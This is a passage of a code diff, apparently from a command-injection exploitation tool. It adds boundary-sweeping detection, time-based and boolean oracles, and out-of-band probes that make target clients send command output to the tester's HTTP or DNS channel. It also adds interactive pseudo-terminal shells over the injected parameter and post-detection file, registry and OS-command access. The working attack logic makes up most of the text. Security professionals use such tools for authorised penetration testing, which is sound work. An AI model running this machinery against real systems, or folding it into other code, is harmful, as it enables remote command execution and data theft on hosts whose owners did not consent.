+ checks.confirm_boundary(stored_prefix, stored_suffix, stored_separator, whitespace)
+ return _exploit(stored_separator, sent_prefix, sent_suffix, whitespace, vuln_parameter, TAG)
+ # The stored boundary no longer answers, so this is a target that has moved rather than a
+ # session to replay - it is tested again from the start, and announced as any first run is.
+ settings.BOOLEAN_PRINTED_STATE = False
+ settings.STORED_TECHNIQUES.pop(technique, None)
+ TAG = ''.join(random.choice(string.ascii_uppercase) for _ in range(6))
+ except TypeError:
+ checks.error_loading_session_file()
+ except session_handler.StoredWebRootConflict:
+ pass
+
+ _announce_technique(injection_type, technique)
+
+ """
+ The two ways a page can be made to carry the answer, the cheaper one first.
+
+ A target that branches on the exit status its command left behind answers with the page it renders,
+ and the payload need print nothing at all. One that prints what the command said whatever it said
+ branches nowhere, and the same questions read alike - so the test is made to print a marker of its
+ own, and the page carries that or it does not. The second shape is only reached where the first was
+ shown to say nothing, because a target that branches is answered without adding to its output.
+ """
+ # An evaluation sink halts the target's own code, which shortens the page it renders whether or
+ # not the target branches - so there is nothing the second shape would reach that the first cannot.
+ shapes = (False,) if menu.options.eval_sink else (False, True)
+ """
+ Counted off the way the other techniques count theirs.
+
+ A dot per boundary asked, across both shapes rather than restarting on the second. Reporting only
+ the boundary that answered left the line holding whatever two or three dots something else had
+ printed, so a sweep of a hundred questions read exactly like one that asked three - and on a
+ parameter that answers none of them, that is the whole of what the line ever said.
+ """
+ boundaries = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, grammar_separators=checks.grammar_separators()))
+ total = len(boundaries) * len(shapes)
+ i = 0
+ for printed in shapes:
+ settings.BOOLEAN_PRINTED_STATE = printed
+ for whitespace, prefix, suffix, separator in boundaries:
+ i += 1
+ settings.DETECTION_PHASE = True
+ settings.EXPLOITATION_PHASE = False
+ bare_prefix, bare_suffix = prefix, suffix
+ confirmed = _answers_both_ways(whitespace, prefix, suffix, separator, TAG)
+ if not confirmed:
+ checks.injection_process(injection_type, technique, done=bool(i >= total), i=i, total=total)
+ continue
+ payload, vuln_parameter, prefix, suffix = confirmed
+ checks.injection_process(injection_type, technique, done=True)
+ checks.confirm_boundary(bare_prefix, bare_suffix, separator, whitespace)
+ checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, 1, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix))
+ session_handler.import_injection_points(url, technique, injection_type, filename, separator, True, vuln_parameter, prefix, suffix, TAG, menu.options.interpreter, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL)
+ return _exploit(separator, prefix, suffix, whitespace, vuln_parameter, TAG)
+
+ settings.BOOLEAN_PRINTED_STATE = False
+ checks.injection_process(injection_type, technique, done=True)
+ return False
+
+"""
+An interactive shell over the content oracle, one command at a time.
+"""
+def boolean_based_pseudo_terminal_shell(separator, prefix, suffix, whitespace, vuln_parameter, http_request_method, url, filename, technique):
+ from src.core.techniques.boolean_based import bb_injector as injector
+
+ # Run one command through the oracle, reusing a stored answer where there is one.
+ def execute_cmd(cmd):
+ stored = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ if not menu.options.ignore_session and checks.usable_stored_cmd(stored):
+ return stored
+ shell = injector.injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter)
+ logs.executed_command(filename, cmd, shell)
+ if shell and not menu.options.ignore_session:
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
+ return shell
+
+ # Reached without going through pseudo_terminal_shell(), so '--proof' is told about it here too.
+ proof.register(technique, vuln_parameter, http_request_method, execute_cmd)
+ return pseudo_terminal_shell_generic(url, filename, technique, False, execute_cmd, separator=separator)
+
+"""
+Send an out-of-band payload without waiting around for a response it never reads. Clients on the
+target can block for a long time - 'certutil' for well over a minute - and a sweep that waited for
+each of them would take hours to learn nothing.
+"""
+def oob_inject(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url):
+ saved_timeout, saved_keep_alive = settings.TIMEOUT, settings.KEEP_ALIVE
+ settings.TIMEOUT = min(saved_timeout, settings.OOB_PROBE_TIMEOUT)
+ # A pooled connection keeps the timeout it was opened with, so the shorter one would not apply
+ # to any probe that reuses it.
+ settings.KEEP_ALIVE = False
+ try:
+ return requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
+ finally:
+ settings.TIMEOUT, settings.KEEP_ALIVE = saved_timeout, saved_keep_alive
+
+"""
+The first fired probe whose interaction has arrived and carries the result it was asked for.
+"""
+def _oob_winner(fired, channel, payloads):
+ # The most useful of the confirmed ones, not the first: see _oob_rank() below.
+ winner = None
+ for candidate in fired:
+ interactions = channel.seen(candidate[0], protocol=payloads.required_protocol(candidate[10]))
+ if not checks.oob_proof_holds(interactions, candidate[9]):
+ continue
+ if winner is None or _oob_rank(candidate, payloads) > _oob_rank(winner, payloads):
+ winner = candidate
+ if _oob_rank(winner, payloads) == OOB_RANK_BEST:
+ break
+ return winner
+
+"""
+Ask the clients the sweep left out whether they can reach us through the boundary the name lookup
+has just confirmed. The point is already found, so this is only a chance at pulling output back
+whole instead of a label at a time - one request each, and a short wait for all of them together.
+"""
+def _oob_http_upgrade(is_eval, separator, prefix, suffix, whitespace, vuln_parameter, url, http_request_method, filename, channel, payloads):
+ if menu.options.oob_transport or not settings.OOB_HEURISTIC_HTTP_SILENT:
+ return None
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Checking which HTTP client can carry back the command output."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ fired = []
+ for candidate in payloads.upgrade_candidates():
+ token, hostname = channel.new_payload()
+ expression, expected, prologue = payloads.proof(candidate)
+ if is_eval:
+ payload = payloads.decision_eval(separator, candidate, hostname, expression, prologue)
+ else:
+ payload = payloads.decision(separator, candidate, hostname, expression, prologue)
+ try:
+ # The payload that went out is the one the tamper scripts shaped, and that is the one a
+ # finding has to be reported and stored with.
+ _, _, payload, _, _ = oob_inject(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
+ except KeyboardInterrupt:
+ checks.handle_detection_interrupt(filename, url)
+ except SystemExit:
+ raise
+ except Exception:
+ continue
+ fired.append((token, expected, candidate, payload))
+ if not fired:
+ return None
+ # The heuristic already suggests nothing gets out over HTTP, so this waits out the grace period
+ # rather than the full timeout - the lookup is there to fall back on either way.
+ deadline = time.time() + settings.OOB_HTTP_GRACE
+ while True:
+ for token, expected, candidate, payload in fired:
+ if checks.oob_proof_holds(channel.seen(token, protocol="http"), expected):
+ return candidate, payload
+ if time.time() >= deadline:
+ return None
+ channel.poll_now()
+ time.sleep(settings.OOB_WAIT_POLL_INTERVAL)
+
+"""
+Nothing beats a confirmed probe whose client can be asked for a command's output in one request.
+"""
+OOB_RANK_BEST = 3
+
+"""
+A confirmed probe whose client can only carry output back a label at a time.
+"""
+OOB_RANK_LOOKUP = 2
+
+"""
+How much use a confirmed probe is. An HTTP client carries a command's output back whole, a name
+lookup carries it a label at a time, and a boundary nothing can be run through is only worth
+reporting - so both kinds of client are tried before settling for the slower one.
+"""
+def _oob_rank(candidate, payloads):
+ if not _oob_usable(candidate, payloads):
+ return 1
+ return OOB_RANK_BEST if payloads.required_protocol(candidate[10]) == "http" else OOB_RANK_LOOKUP
+
+"""
+Report whether a confirmed probe is one a command can be run through: the separator has to chain a
+command of our own, and the client has to be able to carry its output back.
+"""
+def _oob_usable(candidate, payloads):
+ return checks.separator_chains(candidate[1]) and payloads.supports_exfiltration(candidate[10])
+
+"""
+Open the pseudo-terminal on top of the out-of-band channel.
+"""
+def oob_pseudo_terminal_shell(separator, prefix, suffix, whitespace, vuln_parameter, http_request_method, url, filename, technique, transport):
+ from src.core.techniques.oob import oob_injector as injector
+
+ # Run one command over the out-of-band channel, reusing a stored answer where there is one.
+ def execute_cmd(cmd):
+ stored = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ if not menu.options.ignore_session and checks.usable_stored_cmd(stored):
+ return stored
+ shell = injector.injection(separator, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, transport)
+ logs.executed_command(filename, cmd, shell)
+ if shell and not menu.options.ignore_session:
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
+ return shell
+
+ # Reached without going through pseudo_terminal_shell(), so '--proof' is told about it here too.
+ proof.register(technique, vuln_parameter, http_request_method, execute_cmd)
+ return pseudo_terminal_shell_generic(url, filename, technique, False, execute_cmd, separator=separator)
+
+"""
+Whether threaded time-related retrieval is safe on this target, and whether the run wants it anyway -
+settled once, the first time anything is actually going to be timed. Asking any earlier would put the
+question to a run that ends up never measuring a delay at all.
+"""
+def _confirm_threaded_time_retrieval(url, http_request_method, resuming_stored):
+ if not (settings.THREADS > 1 and settings.THREADED_TIME_RETRIEVAL_CHOICE is None and not resuming_stored):
+ return
+ if not checks.target_serves_concurrently(url, http_request_method, settings.THREADS):
+ warn_msg = "The target answers one request at a time. Continuing with a single thread."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ settings.THREADED_TIME_RETRIEVAL_CHOICE = False
+ else:
+ # Answered yes, the retrieval still measures whether the answers can be told apart under that
+ # concurrency - which needs a payload, and so cannot be settled here.
+ # Declined unless asked for: reading a delay is reading one request against the others, and
+ # requests that overlap are what the reading is least able to survive.
+ msg = "Multi-threading is considered unsafe for time-related data retrieval. "
+ msg += "Do you want to continue using threads anyway? [y/N] "
+ settings.THREADED_TIME_RETRIEVAL_CHOICE = common.read_input(msg, default="N", check_batch=True) in settings.CHOICE_YES
+
+"""
+The main Time-related exploitation process.
+"""
+def do_time_related_process(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path):
+
+ resuming_stored = settings.LOAD_SESSION and technique in settings.STORED_TECHNIQUES
+ # Deferred for TEMP_FILE_BASED, to the same point 'timesec' itself is - asked only once the oracle
+ # this technique tries first has failed to confirm the boundary, and threading is about to mean
+ # something for real.
+ if technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ _confirm_threaded_time_retrieval(url, http_request_method, resuming_stored)
+
+ counter = 1
+ no_result = True
+ possibly_vulnerable = False
+ false_positive_warning = False
+ exec_time = 0
+ # Deferred for TEMP_FILE_BASED - adjusting it here would announce a delay this technique tries
+ # first to avoid needing at all. Computed once the oracle attempt below has actually failed.
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ timesec = checks.time_related_timesec()
+
+ if settings.TIME_RELATED_ATTACK is False:
+ settings.TIME_RELATED_ATTACK = None
+
+ # Check if defined "--url-reload" option.
+ if menu.options.url_reload is True:
+ checks.reload_url_msg(technique)
+
+ # Check if defined "--maxlen" option.
+ if menu.options.maxlen:
+ settings.MAXLEN = maxlen = menu.options.maxlen
+
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ from src.core.techniques.time_based import tb_injector as injector
+ payloads = checks.time_based_payloads()
+ else:
+ from src.core.techniques.tempfile_based import tfb_injector as injector
+ payloads = checks.tempfile_based_payloads()
+
+ if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES:
+ _announce_technique(injection_type, technique)
+
+ prefixes, suffixes, separators = checks.sink_boundaries()
+ separators = checks.chainable_separators(separators)
+ checks.prime_whitespace_tampers()
+ whitespaces = settings.WHITESPACES
+
+ prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces)
+
+ combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, grammar_separators=checks.grammar_separators()))
+ i = 0
+ total = len(combinations)
+ for whitespace, prefix, suffix, separator in combinations:
+ bare_prefix = prefix
+ bare_suffix = suffix
+ settings.DETECTION_PHASE = True
+ settings.EXPLOITATION_PHASE = False
+ # If a previous session is available for this specific technique.
+ resumed = False
+ # Whether this boundary was confirmed through the oracle instead of a delay - carried past the
+ # retry loop below to the one check that decides whether the point counts as found.
+ oracle_confirmed = False
+ stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None
+ if stored_row:
+ try:
+ url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row)
+ url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix)
+ # Re-apply the minimum safe delay to the stored session.
+ if technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED):
+ timesec = max(timesec, settings.MIN_SAFE_TIMESEC)
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ settings.TIME_BASED_STATE = True
+ elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ settings.TEMPFILE_BASED_STATE = True
+ OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG, prompt=False)
+ cmd = shell = output = ""
+ checks.check_for_stored_tamper(payload)
+
+ # Trust the stored session outright.
+ possibly_vulnerable = True
+ resumed = True
+ except TypeError:
+ checks.error_loading_session_file()
+ except session_handler.StoredWebRootConflict:
+ pass
+
+ if not resumed:
+ # Counted from the one that was set aside for it: counting from a value of its own, the first
+ # combination was announced as the second, and the last closed the sweep one short of its end.
+ i = i + 1
+ # Retry the same separator once with a fresh TAG before moving to the next one.
+ for _false_positive_retry in range(settings.FALSE_POSITIVE_RETRIES):
+ # Check for bad combination of prefix and separator
+ combination = prefix + separator
+ if combination in settings.JUNK_COMBINATION:
+ prefix = ""
+ # Change TAG on every request to prevent false-positive resutls.
+ TAG = ''.join(random.choice(string.ascii_uppercase) for _ in range(6))
+ # Whether anything in this pass answered late, which is what a further pass could re-judge.
+ answered_late = False
+ # The output file for file-based injection technique.
+ interpreter = menu.options.interpreter
+ tag_length = len(TAG) + 4
+ # A length no answer can have, which is what the control below asks about.
+ control_length = int(tag_length) + 100
+ OUTPUT_TEXTFILE = "" # only used by TEMP_FILE_BASED, set just below
+ if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG)
+ # Tried first, on the first pass only - a boundary the oracle confirms needs no delay to
+ # prove, and one it cannot confirm is no cheaper to ask about twice.
+ if _false_positive_retry == 0:
+ from src.core.techniques.tempfile_based import tfb_handler as oracle_handler
+ # Unresolved on the way in, exactly as the delay-based confirmation below leaves it -
+ # discovered by whichever of the two ends up sending the first request.
+ oracle_payload, vuln_parameter = oracle_handler.try_oracle_confirm(separator, prefix, suffix, whitespace, http_request_method, url, "", OUTPUT_TEXTFILE, TAG)
+ if oracle_payload:
+ payload = oracle_payload
+ output_length = len(TAG)
+ # Nothing here was measured, so there is no false-positive command or its output to
+ # carry forward either - left the way a resumed finding leaves them.
+ cmd = shell = output = ""
+ exec_time = original_exec_time = timesec
+ oracle_confirmed = possibly_vulnerable = True
+ # Closes the "Continuing with..." spinner the same way a delay-based confirmation
+ # closes its own - nothing here was timed, but the line it left open still needs it.
+ checks.injection_process(injection_type, technique, done=True)
+ break
+ # Reached only once the oracle above has not confirmed the boundary - deferred rather
+ # than adjusted at the top of the function, so the notice is not announced for a delay
+ # this technique may end up never needing.
+ _confirm_threaded_time_retrieval(url, http_request_method, resuming_stored)
+ timesec = checks.time_related_timesec()
+ # What these payloads cost is part of the answer's time: one that writes a file and reads it
+ # back through two interpreters takes about a second before any delay is asked for, while the
+ # model it is judged against was built from plain requests. Sampled once with a length that
+ # cannot hold, so an answer that was never held back is not read as a delayed one.
+ """
+ Asked only once an answer has been held back: the same question about a length no answer
+ can have. A target that waits for that one too is a slow target rather than one running
+ what it was given, and the pair is what tells them apart.
+ """
+ def _control_answers_on_time():
+ if interpreter:
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ control = payloads.decision_alter_interpreter(separator, TAG, control_length, timesec, http_request_method)
+ else:
+ control = payloads.decision_alter_interpreter(separator, control_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
+ else:
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ control = payloads.decision(separator, TAG, control_length, timesec, http_request_method)
+ else:
+ control = payloads.decision(separator, control_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
+ if not control:
+ return False
+ control_time = requests.perform_injection(prefix, suffix, whitespace, control, "", http_request_method, url)[0]
+ if checks.time_related_shell(control_time, timesec):
+ return False
+ checks.record_probe_response_time(control_time)
+ return True
+
+ if not settings.PAYLOAD_BASELINE_SAMPLED:
+ settings.PAYLOAD_BASELINE_SAMPLED = True
+ impossible = control_length
+ if interpreter:
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ probe = payloads.decision_alter_interpreter(separator, TAG, impossible, timesec, http_request_method)
+ else:
+ probe = payloads.decision_alter_interpreter(separator, impossible, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
+ else:
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ probe = payloads.decision(separator, TAG, impossible, timesec, http_request_method)
+ else:
+ probe = payloads.decision(separator, impossible, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
+ if probe:
+ try:
+ probe_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, probe, "", http_request_method, url)
+ checks.record_probe_response_time(probe_time)
+ except (KeyboardInterrupt, SystemExit):
+ raise
+ except Exception:
+ pass
+
+ """
+ The length the tag really has is the one question worth asking: a target running what it
+ was given holds its answer back for that length and for no other. Every other length is a
+ request spent proving what the control above proves in one, and only once it is needed.
+ """
+ for output_length in (len(TAG),):
+ try:
+ # Tempfile-based decision payload (check if host is vulnerable).
+ if interpreter:
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ payload = payloads.decision_alter_interpreter(separator, TAG, output_length, timesec, http_request_method)
+ else:
+ payload = payloads.decision_alter_interpreter(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
+ else:
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ payload = payloads.decision(separator, TAG, output_length, timesec, http_request_method)
+ else:
+ payload = payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
+
+ if not payload:
+ break
+
+ vuln_parameter = ""
+ exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
+
+ # Every combination's timing is read, the later ones included: the attempt budget
+ # running low says nothing about whether this particular answer was delayed, and the
+ # combination that answers is often among the last to be tried.
+ if checks.time_related_shell(exec_time, timesec):
+ answered_late = True
+ # Time related false positive fixation.
+ false_positive_fixation = False
+ if len(TAG) == output_length:
+
+ # Held back for the length the answer really has and let through for one it
+ # cannot have is the shape worth reading: an oracle that answers both the same
+ # way is a slow target rather than one running what it was given.
+ statistical_anomaly = checks.decision_is_length_based() and not _control_answers_on_time()
+
+ if timesec <= exec_time and not statistical_anomaly:
+ false_positive_fixation = True
+ else:
+ false_positive_warning = True
+
+ # Identified false positive warning message.
+ if false_positive_warning:
+ timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec)
+
+ checks.injection_process(injection_type, technique, i=i, total=total)
+
+ # Check if false positive fixation is True.
+ if false_positive_fixation:
+ false_positive_fixation = False
+ if false_positive_warning:
+ time.sleep(timesec)
+ randv1 = random.randrange(0, 4)
+ randv2 = random.randrange(1, 5)
+ randvcalc = randv1 + randv2
+ # A single character either way: the answer is read back one character at a time,
+ # so anything longer costs a request per extra character.
+ if settings.SKIP_CALC:
+ randvcalc = random.randrange(0, 10)
+
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ if interpreter:
+ if settings.SKIP_CALC:
+ cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randvcalc) + ")\""
+ else:
+ cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
+ else:
+ cmd = "powershell.exe -InputFormat none write (" + str(randvcalc) + ")"
+ else:
+ if settings.SKIP_CALC:
+ cmd = "echo " + str(randvcalc)
+ elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ cmd = "expr " + str(randv1) + " + " + str(randv2) + ""
+ else:
+ cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))"
+
+ # Set the original delay time
+ original_exec_time = exec_time
+
+ # Check for false positive results - silent, since this is a per-technique gate on
+ # whether to accept/retry the finding, not the one false-positive check reported to
+ # the user; that is settings.CHECKING_PARAMETER's own, asked once at the very end.
+ # The time-based technique has no output file of its own, and carries the empty one set above.
+ exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES, silent=True)
+
+ if checks.time_related_shell(exec_time, timesec):
+ if str(output) == str(randvcalc) and len(TAG) == output_length:
+ possibly_vulnerable = True
+ # Closes the "Testing/Continuing with..." spinner - the silent false-positive
+ # gate above no longer does this as a side effect of its own (now silenced) print.
+ checks.injection_process(injection_type, technique, done=True)
+ else:
+ break
+ # False positive
+ else:
+ checks.injection_process(injection_type, technique, i=i, total=total)
+ continue
+ else:
+ # Feed the baseline model even during detection, not just later phases.
+ checks.record_probe_response_time(exec_time)
+ checks.injection_process(injection_type, technique, i=i, total=total)
+ continue
+
+ except KeyboardInterrupt:
+ if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals():
+ delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique)
+ # Always raises - propagates out to controller.injection_process().
+ checks.handle_detection_interrupt(filename, url)
+
+ except SystemExit:
+ if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals():
+ delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique)
+ raise
+
+ except EOFError:
+ checks.EOFError_err_msg()
+ if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals():
+ delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique)
+ raise
+
+ except Exception:
+ if i >= total:
+ if no_result is True:
+ checks.injection_process(injection_type, technique, done=True)
+ else:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ break
+
+ if possibly_vulnerable:
+ break
+ # A further pass is for judging again what was answered late once already - a fresh tag
+ # cannot make a target delay that never did, and asking every length again over a
+ # technique this slow is the most expensive way there is to learn the same thing twice.
+ if not answered_late:
+ break
+ """
+ Yaw, got shellz!
+
+ A finding read back from a stored session is not judged again here. What is stored is how long
+ that run's answer took, against the delay that run asked for - and this one asks for its own,
+ floored by the shortest delay held to be safe. Read against each other, a finding made under a
+ shorter delay than the floor is thrown away every time it is resumed.
+ """
+ if resumed or oracle_confirmed or checks.time_related_shell(exec_time, timesec):
+ if (len(TAG) == output_length) and (possibly_vulnerable is True or resumed and int(is_vulnerable) == settings.INJECTION_LEVEL):
+ found = True
+ no_result = False
+ # Export session
+ if not resumed:
+ shell = ""
+ checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, counter, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix))
+ session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL)
+ else:
+ whitespace = settings.WHITESPACES[0]
+ if not resumed:
+ checks.confirm_boundary(bare_prefix, bare_suffix, separator, whitespace)
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ OUTPUT_TEXTFILE = ""
+ # An optimisation only, and it costs a timing model and a delayed request to find - so a
+ # resumed finding is replayed as it was stored rather than measured again for it.
+ if not resumed:
+ url, prefix = probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix, TAG, OUTPUT_TEXTFILE)
+ # Registered here, run once at quit().
+ _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique))
+ _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique))
+ _register_post_detection_action(lambda: registry_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique))
+ if menu.options.os_cmd:
+ # Run the command given with '--os-cmd', once, whichever technique got there first.
+ def _run_os_cmd(separator=separator, maxlen=maxlen, TAG=TAG, cmd=menu.options.os_cmd, prefix=prefix, suffix=suffix, whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, url=url, vuln_parameter=vuln_parameter, OUTPUT_TEXTFILE=OUTPUT_TEXTFILE, interpreter=interpreter, filename=filename, url_time_response=url_time_response, technique=technique, output=output):
+ if settings.OS_CMD_DONE:
+ return
+ settings.OS_CMD_DONE = True
+ enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)
+ if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and len(output) > 1:
+ delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique)
+ _register_post_detection_action(_run_os_cmd)
+ # Pseudo-Terminal shell
+ if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None:
+ continue
+ else:
+ return
+
+ return exit_handler(no_result)
+
+"""
+The main results based exploitation process.
+"""
+def do_results_based_process(url, timesec, filename, http_request_method, injection_type, technique):
+
+ shell = False
+ counter = 1
+ exit_loops = False
+ no_result = True
+ # Left unset where a stored technique was expected to resume outright - computed lazily below if
+ # a 'StoredWebRootConflict' sends that attempt back to the fresh detection path after all.
+ tmp_path = None
+
+ if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED:
+ try:
+ import html
+ unescape = html.unescape
+ except ImportError: # Python 2
+ unescape = _html_parser.HTMLParser().unescape
+ from src.core.techniques.results_based import rb_injector as injector
+ from src.core.techniques.results_based import rb_payloads as payloads
+
+ elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
+ from src.core.eval import eb_injector as injector
+ from src.core.eval.payloads import classic as payloads
+ else:
+ from src.core.techniques.file_based import fb_injector as injector
+ payloads = checks.file_based_payloads()
+
+ # Calculate all possible combinations
+ if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
+ # Built fresh rather than wrapped in place: this runs once per parameter, and rewriting the
+ # lists themselves would wrap what the previous parameter already wrapped - '${${exec((' by the
+ # second one, and a prefix list growing without bound behind it. Both lists reach the other two
+ # evaluation-sink techniques through 'sink_boundaries()', so the damage would not stay here.
+ prefixes = checks.eval_prefixes()
+ suffixes = settings.EVAL_SUFFIXES
+ separators = settings.EVAL_SEPARATORS
+ else:
+ prefixes, suffixes, separators = checks.sink_boundaries()
+ separators = checks.chainable_separators(separators)
+
+ if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES:
+ _announce_technique(injection_type, technique)
+ if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
+ url_time_response = 0
+ tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
+
+ checks.prime_whitespace_tampers()
+ whitespaces = settings.WHITESPACES
+
+ prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces)
+
+ TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
+ # Only the classic technique leaves its pipe payloads open, to read the result off the response.
+ combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, keep_output=technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED, grammar_separators=checks.grammar_separators()))
+ i = 0
+ total = len(combinations)
+ """
+ After this many failed writes the temporary directory is offered instead of the web root. A set
+ of boundaries small enough to get through is gone through in full first: the one that answers is
+ as likely to be the last of them as any other, and stopping one short of it is what makes a
+ perfectly writable web root look unwritable.
+
+ Worked out per technique and per target rather than written back to the option, whose value would
+ otherwise be the first boundary space to reach here - a Windows target leaves fewer combinations
+ than a Unix-like one, and the next target would be given up on before its own were exhausted.
+ """
+ if menu.options.failed_tries is None:
+ failed_tries = min(total, settings.MAX_FAILED_TRIES)
+ else:
+ failed_tries = int(menu.options.failed_tries)
+ for whitespace, prefix, suffix, separator in combinations:
+ bare_prefix = prefix
+ bare_suffix = suffix
+ """
+ The whitespace goes in as a space.
+
+ Encoding it here is the last of the pre-encoding the payloads used to do, and it survives only
+ where the carrier is URL-decoded by the target. A JSON or XML body is not - the target reads
+ '%20' as three characters, the command it is part of is not a command, and the technique looks
+ inapplicable. Encoded once at the end, with everything else, it is right for either.
+ """
+ # Check injection state
+ settings.DETECTION_PHASE = True
+ settings.EXPLOITATION_PHASE = False
+ # If a previous session is available for this specific technique.
+ resumed = False
